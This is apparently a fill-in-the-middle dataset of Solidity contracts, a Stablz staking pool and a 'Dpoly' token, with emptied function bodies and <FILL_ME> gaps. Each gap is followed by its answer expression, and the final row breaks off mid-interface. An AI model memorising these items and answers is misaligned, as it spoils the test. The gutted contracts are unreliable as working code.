function calculateFinalAmount(address _user) external view returns (uint) {
}
/// @notice Has the pool ended
/// @return bool true - ended, false - not ended
function hasEnded() public view returns (bool) {
}
/// @notice Total vestments for a given user
/// @param _user User
/// @return uint Total vestments for _user
function getTotalUserVestments(address _user) public view returns (uint) {
}
/// @notice Get a list of vestments for a given user
/// @param _user User
/// @param _startIndex Start index
/// @param _endIndex End index
/// @return list List of vestments for _user between _startIndex and _endIndex
function getUserVestments(address _user, uint _startIndex, uint _endIndex) external view returns (Vestment[] memory list) {
}
/// @notice Get a list of vestments
/// @param _startIndex Start index
/// @param _endIndex End index
/// @return list List of vestments between _startIndex and _endIndex
function getVestments(uint _startIndex, uint _endIndex) external view returns (Vestment[] memory list) {
}
/// @param _amount Amount of USDT
function _allocateIncentiveRewards(uint _amount) private {
}
/// @param _vestmentId Vestment ID
/// @return amount Amount available to claim for _vestmentId
function _claimStablzRewards(uint _vestmentId) private returns (uint amount) {
}
/// @inheritdoc ERC20
function _beforeTokenTransfer(
address _from,
address _to,
uint _amount
) internal override {
}
/// @param _user User address
/// @return uint Final amount to withdraw for _user
function _calculateFinalAmount(address _user) private view returns (uint) {
}
/// @param _user User address
/// @return uint Balance of _user + OTC amount listed by _user
function _getTotalBalance(address _user) private view returns (uint) {
}
/// @dev get the total amount staked (not including otc listings)
/// @return uint Circulating supply
function _getCirculatingSupply() private view returns (uint) {
}
/// @dev Merge calculated rewards with held rewards
/// @param _user User address
function _mergeRewards(address _user) private {
}
/// @dev Convert calculated rewards into held rewards
/// @dev Used when the user carries out an action that would cause their calculated rewards to change
function _holdCalculatedRewards(address _user) private {
}
/// @param _user User address
/// @return uint Held rewards
function _getHeldRewards(address _user) private view returns (uint) {
}
/// @param _user User address
/// @return uint Calculated rewards
function _getCalculatedRewards(address _user) private view returns (uint) {
}
/// @return bool true - active, false - not active
function _isPoolActive() internal view override returns (bool) {
}
}
| _isPoolActive(),"StablzIncentiveCannavestPool: Pool has already stopped" | 80,448 | _isPoolActive() |
"StablzIncentiveCannavestPool: Depositing is already enabled" | //SPDX-License-Identifier: Unlicense
pragma solidity = 0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "contracts/pools/common/RealWorldAssetReceipt.sol";
/// @title Stablz Incentive Cannavest - Real world asset pool
contract StablzIncentiveCannavestPool is RealWorldAssetReceipt, Ownable {
using SafeERC20 for IERC20;
address public rwaHandler;
IERC20 public stablz;
address private constant STABLZ = 0xA4Eb9C64eC359D093eAc7B65F51Ef933D6e5F7cd;
/// @dev this is used to allow for decimals in the currentRewardValue as well as to convert USDT amount to 18 decimals
uint private constant REWARD_FACTOR_ACCURACY = 1_000_000_000_000 ether;
uint private constant LOCK_UP_PERIOD = 365 days;
uint private constant INCENTIVE_PERIOD = 30 days;
uint private constant INCENTIVE_VESTING_PERIOD = 30 days;
/// @dev max number of incentive claims that can be made in a given transaction
uint private constant MAX_CLAIM_SIZE = 100;
uint private constant ONE_USDT = 10 ** 6;
uint private constant MAX_AMOUNT = 5_000_000 * ONE_USDT;
uint private constant INITIAL_STABLZ_REWARDS = 5_000_000 ether;
uint public startedAt;
uint public incentivesEndAt;
bool public isDepositingEnabled;
uint public finalAmount;
uint public finalSupply;
uint public currentRewardFactor;
uint public allTimeRewards;
uint public allTimeRewardsClaimed;
uint public allTimeCirculatingSupplyAtDistribution;
uint public totalStablzAllocated;
uint public totalStablzClaimed;
uint public totalVestments;
struct Reward {
uint factor;
uint held;
}
struct Vestment {
uint vestmentId;
address user;
uint amount;
uint withdrawn;
uint startDate;
}
mapping(uint => Vestment) public vestments;
mapping(address => uint[]) private _userVestments;
mapping(address => Reward) private _rewards;
event Started();
event Ended(uint finalAmount, uint finalSupply);
event RealWorldAssetHandlerUpdated(address rwaHandler);
event DepositingEnabled();
event DepositingDisabled();
event Deposit(address indexed user, uint amount);
event Withdraw(address indexed user, uint expected, uint actual);
event Claimed(address indexed user, uint rewards);
event ClaimedIncentive(address indexed user, uint rewards);
event Distributed(uint rewards, uint circulatingSupply);
event Clawback(uint unallocated);
modifier onlyRWAHandler() {
}
/// @param _rwaHandler Real world asset handler
constructor(address _rwaHandler) RealWorldAssetReceipt("STABLZ-CANNAVEST", "CANNAVEST") {
}
/// @notice Start the pool
function start() external onlyOwner {
}
/// @notice End the pool (after the lock up period)
/// @param _amount Principal amount
function end(uint _amount) external onlyOwner {
}
/// @notice Update the real world asset handler address
/// @param _rwaHandler Real world asset handler
function updateRealWorldAssetHandler(address _rwaHandler) external onlyOwner {
}
/// @notice Enable depositing
function enableDepositing() external onlyOwner {
require(startedAt > 0, "StablzIncentiveCannavestPool: Pool not started yet");
require(_isPoolActive(), "StablzIncentiveCannavestPool: Pool has already stopped");
require(<FILL_ME>)
isDepositingEnabled = true;
emit DepositingEnabled();
}
/// @notice Disable depositing
function disableDepositing() external onlyOwner {
}
/// @notice Deposit USDT and receive STABLZ-CANNAVEST
/// @param _amount USDT to deposit
function deposit(uint _amount) external nonReentrant {
}
/// @notice Withdraw USDT after lockup and give back STABLZ-CANNAVEST
function withdraw() external nonReentrant {
}
/// @notice Claim USDT rewards
function claimRewards() external nonReentrant {
}
/// @notice Claim incentive
/// @param _vestmentId Vestment ID
function claimStablzRewards(uint _vestmentId) external nonReentrant {
}
/// @notice Claim multiple incentives
/// @param _vestmentIds Vestment IDs
function claimMultipleStablzRewards(uint[] calldata _vestmentIds) external nonReentrant {
}
/// @notice Distribute USDT to receipt token holders (RWA handler only)
/// @param _amount Amount of USDT to distribute
function distribute(uint _amount) external onlyRWAHandler {
}
/// @notice Clawback unallocated STABLZ rewards (after the incentive period)
function clawback() external onlyOwner {
}
/// @notice Get unallocated STABLZ
/// @return uint Amount of unallocated STABLZ
function getUnallocatedStablz() public view returns (uint) {
}
/// @notice Get the end date
/// @return uint End date
function getEndDate() public view returns (uint) {
}
/// @notice Get the current rewards for a user
/// @param _user User address
/// @return uint Current rewards for _user
function getReward(address _user) external view returns (uint) {
}
/// @notice Calculate the final amount to withdraw
/// @param _user User address
/// @return uint Final amount to withdraw for _user
function calculateFinalAmount(address _user) external view returns (uint) {
}
/// @notice Has the pool ended
/// @return bool true - ended, false - not ended
function hasEnded() public view returns (bool) {
}
/// @notice Total vestments for a given user
/// @param _user User
/// @return uint Total vestments for _user
function getTotalUserVestments(address _user) public view returns (uint) {
}
/// @notice Get a list of vestments for a given user
/// @param _user User
/// @param _startIndex Start index
/// @param _endIndex End index
/// @return list List of vestments for _user between _startIndex and _endIndex
function getUserVestments(address _user, uint _startIndex, uint _endIndex) external view returns (Vestment[] memory list) {
}
/// @notice Get a list of vestments
/// @param _startIndex Start index
/// @param _endIndex End index
/// @return list List of vestments between _startIndex and _endIndex
function getVestments(uint _startIndex, uint _endIndex) external view returns (Vestment[] memory list) {
}
/// @param _amount Amount of USDT
function _allocateIncentiveRewards(uint _amount) private {
}
/// @param _vestmentId Vestment ID
/// @return amount Amount available to claim for _vestmentId
function _claimStablzRewards(uint _vestmentId) private returns (uint amount) {
}
/// @inheritdoc ERC20
function _beforeTokenTransfer(
address _from,
address _to,
uint _amount
) internal override {
}
/// @param _user User address
/// @return uint Final amount to withdraw for _user
function _calculateFinalAmount(address _user) private view returns (uint) {
}
/// @param _user User address
/// @return uint Balance of _user + OTC amount listed by _user
function _getTotalBalance(address _user) private view returns (uint) {
}
/// @dev get the total amount staked (not including otc listings)
/// @return uint Circulating supply
function _getCirculatingSupply() private view returns (uint) {
}
/// @dev Merge calculated rewards with held rewards
/// @param _user User address
function _mergeRewards(address _user) private {
}
/// @dev Convert calculated rewards into held rewards
/// @dev Used when the user carries out an action that would cause their calculated rewards to change
function _holdCalculatedRewards(address _user) private {
}
/// @param _user User address
/// @return uint Held rewards
function _getHeldRewards(address _user) private view returns (uint) {
}
/// @param _user User address
/// @return uint Calculated rewards
function _getCalculatedRewards(address _user) private view returns (uint) {
}
/// @return bool true - active, false - not active
function _isPoolActive() internal view override returns (bool) {
}
}
| !isDepositingEnabled,"StablzIncentiveCannavestPool: Depositing is already enabled" | 80,448 | !isDepositingEnabled |
"StablzIncentiveCannavestPool: Max amount reached" | //SPDX-License-Identifier: Unlicense
pragma solidity = 0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "contracts/pools/common/RealWorldAssetReceipt.sol";
/// @title Stablz Incentive Cannavest - Real world asset pool
contract StablzIncentiveCannavestPool is RealWorldAssetReceipt, Ownable {
using SafeERC20 for IERC20;
address public rwaHandler;
IERC20 public stablz;
address private constant STABLZ = 0xA4Eb9C64eC359D093eAc7B65F51Ef933D6e5F7cd;
/// @dev this is used to allow for decimals in the currentRewardValue as well as to convert USDT amount to 18 decimals
uint private constant REWARD_FACTOR_ACCURACY = 1_000_000_000_000 ether;
uint private constant LOCK_UP_PERIOD = 365 days;
uint private constant INCENTIVE_PERIOD = 30 days;
uint private constant INCENTIVE_VESTING_PERIOD = 30 days;
/// @dev max number of incentive claims that can be made in a given transaction
uint private constant MAX_CLAIM_SIZE = 100;
uint private constant ONE_USDT = 10 ** 6;
uint private constant MAX_AMOUNT = 5_000_000 * ONE_USDT;
uint private constant INITIAL_STABLZ_REWARDS = 5_000_000 ether;
uint public startedAt;
uint public incentivesEndAt;
bool public isDepositingEnabled;
uint public finalAmount;
uint public finalSupply;
uint public currentRewardFactor;
uint public allTimeRewards;
uint public allTimeRewardsClaimed;
uint public allTimeCirculatingSupplyAtDistribution;
uint public totalStablzAllocated;
uint public totalStablzClaimed;
uint public totalVestments;
struct Reward {
uint factor;
uint held;
}
struct Vestment {
uint vestmentId;
address user;
uint amount;
uint withdrawn;
uint startDate;
}
mapping(uint => Vestment) public vestments;
mapping(address => uint[]) private _userVestments;
mapping(address => Reward) private _rewards;
event Started();
event Ended(uint finalAmount, uint finalSupply);
event RealWorldAssetHandlerUpdated(address rwaHandler);
event DepositingEnabled();
event DepositingDisabled();
event Deposit(address indexed user, uint amount);
event Withdraw(address indexed user, uint expected, uint actual);
event Claimed(address indexed user, uint rewards);
event ClaimedIncentive(address indexed user, uint rewards);
event Distributed(uint rewards, uint circulatingSupply);
event Clawback(uint unallocated);
modifier onlyRWAHandler() {
}
/// @param _rwaHandler Real world asset handler
constructor(address _rwaHandler) RealWorldAssetReceipt("STABLZ-CANNAVEST", "CANNAVEST") {
}
/// @notice Start the pool
function start() external onlyOwner {
}
/// @notice End the pool (after the lock up period)
/// @param _amount Principal amount
function end(uint _amount) external onlyOwner {
}
/// @notice Update the real world asset handler address
/// @param _rwaHandler Real world asset handler
function updateRealWorldAssetHandler(address _rwaHandler) external onlyOwner {
}
/// @notice Enable depositing
function enableDepositing() external onlyOwner {
}
/// @notice Disable depositing
function disableDepositing() external onlyOwner {
}
/// @notice Deposit USDT and receive STABLZ-CANNAVEST
/// @param _amount USDT to deposit
function deposit(uint _amount) external nonReentrant {
require(_isPoolActive(), "StablzIncentiveCannavestPool: Depositing is not allowed because the pool has ended");
require(isDepositingEnabled, "StablzIncentiveCannavestPool: Depositing is not allowed at this time");
require(ONE_USDT <= _amount, "StablzIncentiveCannavestPool: _amount must be greater than or equal to 1 USDT");
require(_amount <= usdt.balanceOf(_msgSender()), "StablzIncentiveCannavestPool: Insufficient USDT balance");
require(_amount <= usdt.allowance(_msgSender(), address(this)), "StablzIncentiveCannavestPool: Insufficient USDT allowance");
require(<FILL_ME>)
if (block.timestamp < incentivesEndAt) {
_allocateIncentiveRewards(_amount);
}
_mint(_msgSender(), _amount);
usdt.safeTransferFrom(_msgSender(), rwaHandler, _amount);
emit Deposit(_msgSender(), _amount);
}
/// @notice Withdraw USDT after lockup and give back STABLZ-CANNAVEST
function withdraw() external nonReentrant {
}
/// @notice Claim USDT rewards
function claimRewards() external nonReentrant {
}
/// @notice Claim incentive
/// @param _vestmentId Vestment ID
function claimStablzRewards(uint _vestmentId) external nonReentrant {
}
/// @notice Claim multiple incentives
/// @param _vestmentIds Vestment IDs
function claimMultipleStablzRewards(uint[] calldata _vestmentIds) external nonReentrant {
}
/// @notice Distribute USDT to receipt token holders (RWA handler only)
/// @param _amount Amount of USDT to distribute
function distribute(uint _amount) external onlyRWAHandler {
}
/// @notice Clawback unallocated STABLZ rewards (after the incentive period)
function clawback() external onlyOwner {
}
/// @notice Get unallocated STABLZ
/// @return uint Amount of unallocated STABLZ
function getUnallocatedStablz() public view returns (uint) {
}
/// @notice Get the end date
/// @return uint End date
function getEndDate() public view returns (uint) {
}
/// @notice Get the current rewards for a user
/// @param _user User address
/// @return uint Current rewards for _user
function getReward(address _user) external view returns (uint) {
}
/// @notice Calculate the final amount to withdraw
/// @param _user User address
/// @return uint Final amount to withdraw for _user
function calculateFinalAmount(address _user) external view returns (uint) {
}
/// @notice Has the pool ended
/// @return bool true - ended, false - not ended
function hasEnded() public view returns (bool) {
}
/// @notice Total vestments for a given user
/// @param _user User
/// @return uint Total vestments for _user
function getTotalUserVestments(address _user) public view returns (uint) {
}
/// @notice Get a list of vestments for a given user
/// @param _user User
/// @param _startIndex Start index
/// @param _endIndex End index
/// @return list List of vestments for _user between _startIndex and _endIndex
function getUserVestments(address _user, uint _startIndex, uint _endIndex) external view returns (Vestment[] memory list) {
}
/// @notice Get a list of vestments
/// @param _startIndex Start index
/// @param _endIndex End index
/// @return list List of vestments between _startIndex and _endIndex
function getVestments(uint _startIndex, uint _endIndex) external view returns (Vestment[] memory list) {
}
/// @param _amount Amount of USDT
function _allocateIncentiveRewards(uint _amount) private {
}
/// @param _vestmentId Vestment ID
/// @return amount Amount available to claim for _vestmentId
function _claimStablzRewards(uint _vestmentId) private returns (uint amount) {
}
/// @inheritdoc ERC20
function _beforeTokenTransfer(
address _from,
address _to,
uint _amount
) internal override {
}
/// @param _user User address
/// @return uint Final amount to withdraw for _user
function _calculateFinalAmount(address _user) private view returns (uint) {
}
/// @param _user User address
/// @return uint Balance of _user + OTC amount listed by _user
function _getTotalBalance(address _user) private view returns (uint) {
}
/// @dev get the total amount staked (not including otc listings)
/// @return uint Circulating supply
function _getCirculatingSupply() private view returns (uint) {
}
/// @dev Merge calculated rewards with held rewards
/// @param _user User address
function _mergeRewards(address _user) private {
}
/// @dev Convert calculated rewards into held rewards
/// @dev Used when the user carries out an action that would cause their calculated rewards to change
function _holdCalculatedRewards(address _user) private {
}
/// @param _user User address
/// @return uint Held rewards
function _getHeldRewards(address _user) private view returns (uint) {
}
/// @param _user User address
/// @return uint Calculated rewards
function _getCalculatedRewards(address _user) private view returns (uint) {
}
/// @return bool true - active, false - not active
function _isPoolActive() internal view override returns (bool) {
}
}
| totalSupply()+_amount<=MAX_AMOUNT,"StablzIncentiveCannavestPool: Max amount reached" | 80,448 | totalSupply()+_amount<=MAX_AMOUNT |
"Cannot set maxWallet lower than 1%" | /**
https://twitter.com/DegenopolyERC
https://t.me/degenopolyerc
*/
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns(address pair);
}
interface IERC20 {
function totalSupply() external view returns(uint256);
function balanceOf(address account) external view returns(uint256);
function transfer(address recipient, uint256 amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint256);
function approve(address spender, uint256 amount) external returns(bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns(string memory);
function symbol() external view returns(string memory);
function decimals() external view returns(uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns(address) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns(string memory) {
}
function symbol() public view virtual override returns(string memory) {
}
function decimals() public view virtual override returns(uint8) {
}
function totalSupply() public view virtual override returns(uint256) {
}
function balanceOf(address account) public view virtual override returns(uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
}
function allowance(address owner, address spender) public view virtual override returns(uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns(bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns(bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns(address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns(int256) {
}
function div(int256 a, int256 b) internal pure returns(int256) {
}
function sub(int256 a, int256 b) internal pure returns(int256) {
}
function add(int256 a, int256 b) internal pure returns(int256) {
}
function abs(int256 a) internal pure returns(int256) {
}
function toUint256Safe(int256 a) internal pure returns(uint256) {
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns(int256) {
}
}
interface IUniswapV2Router01 {
function factory() external pure returns(address);
function WETH() external pure returns(address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns(uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Dpoly is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable router;
address public immutable uniswapV2Pair;
// addresses
address public devWallet;
address private marketingWallet;
// limits
uint256 private maxBuyAmount;
uint256 private maxSellAmount;
uint256 private maxWalletAmount;
uint256 private thresholdSwapAmount;
// status flags
bool private isTrading = false;
bool public swapEnabled = false;
bool public isSwapping;
struct Fees {
uint8 buyTotalFees;
uint8 buyMarketingFee;
uint8 buyDevFee;
uint8 buyLiquidityFee;
uint8 sellTotalFees;
uint8 sellMarketingFee;
uint8 sellDevFee;
uint8 sellLiquidityFee;
}
Fees public _fees = Fees({
sellTotalFees: 0,
sellMarketingFee: 0,
sellDevFee:0,
sellLiquidityFee: 0,
buyTotalFees: 0,
buyMarketingFee: 0,
buyDevFee:0,
buyLiquidityFee: 0
});
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public _isExcludedMaxWalletAmount;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 private taxTill;
mapping(address => bool) public marketPair;
mapping(address => bool) public _isBlacklisted;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
constructor() ERC20("Dpoly", "Dpoly") {
}
receive() external payable {
}
function openTrading() external onlyOwner {
}
function updateThresholdSwapAmount(uint256 newAmount) external onlyOwner returns(bool){
}
function toggleSwapEnabled(bool enabled) external onlyOwner(){
}
function blacklist(address account, bool value) external onlyOwner{
}
function updatewalletAmount(uint256 newPercentage) external onlyOwner {
require(<FILL_ME>)
maxWalletAmount = (totalSupply() * newPercentage) / 1000;
}
function Fee(uint8 _marketingFeeBuy, uint8 _liquidityFeeBuy,uint8 _devFeeBuy,uint8 _marketingFeeSell, uint8 _liquidityFeeSell,uint8 _devFeeSell) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
}
function setMarketPair(address pair, bool value) public onlyOwner {
}
function updateMaxTxnAmount(uint256 newMaxBuy, uint256 newMaxSell) external onlyOwner {
}
function setWallets(address _marketingWallet,address _devWallet) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tAmount) private {
}
function swapBack() private {
}
// That is all
}
| ((totalSupply()*newPercentage)/1000)>=(totalSupply()/100),"Cannot set maxWallet lower than 1%" | 80,491 | ((totalSupply()*newPercentage)/1000)>=(totalSupply()/100) |
"maxBuyAmount must be higher than 1%" | /**
https://twitter.com/DegenopolyERC
https://t.me/degenopolyerc
*/
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns(address pair);
}
interface IERC20 {
function totalSupply() external view returns(uint256);
function balanceOf(address account) external view returns(uint256);
function transfer(address recipient, uint256 amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint256);
function approve(address spender, uint256 amount) external returns(bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns(string memory);
function symbol() external view returns(string memory);
function decimals() external view returns(uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns(address) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns(string memory) {
}
function symbol() public view virtual override returns(string memory) {
}
function decimals() public view virtual override returns(uint8) {
}
function totalSupply() public view virtual override returns(uint256) {
}
function balanceOf(address account) public view virtual override returns(uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
}
function allowance(address owner, address spender) public view virtual override returns(uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns(bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns(bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns(address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns(int256) {
}
function div(int256 a, int256 b) internal pure returns(int256) {
}
function sub(int256 a, int256 b) internal pure returns(int256) {
}
function add(int256 a, int256 b) internal pure returns(int256) {
}
function abs(int256 a) internal pure returns(int256) {
}
function toUint256Safe(int256 a) internal pure returns(uint256) {
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns(int256) {
}
}
interface IUniswapV2Router01 {
function factory() external pure returns(address);
function WETH() external pure returns(address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns(uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
